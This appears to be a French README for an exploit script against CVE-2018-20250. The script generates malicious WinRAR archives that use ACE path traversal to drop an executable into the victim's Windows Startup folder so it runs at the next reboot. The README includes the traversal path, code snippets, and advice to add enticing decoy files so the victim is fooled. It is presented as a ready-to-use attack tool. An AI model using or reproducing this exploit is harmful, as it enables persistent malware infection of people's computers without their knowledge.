aeolustf/cve-2018-20250Script d'exploitation pour CVE-2018-20250 qui génère automatiquement des archives RAR malveillantes pour exécuter du code via la vulnérabilité d'extraction de fichiers ACE de WinRAR.
exp pour Extraire l'exécution de code de Winrar
poc par Ridter
comment utiliser ?
vous avez juste besoin d'installer python 3.7, de préparer un fichier malveillant que vous voulez exécuter, de définir les valeurs souhaitées, ce script exp générera automatiquement le fichier d'archive malveillant!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
lancez le script exp, il générera automatiquement test.rar
si la victime ouvre test.rar, il verra les fichiers hello.txt et world.txt. Vous pouvez également ajouter plus de fichiers, plus attrayants.
hi.exe, qui est en réalité un calc.exe. Lorsqu'il redémarrera l'ordinateur, hi.exe s'exécutera.
Amusez-vous bien! :)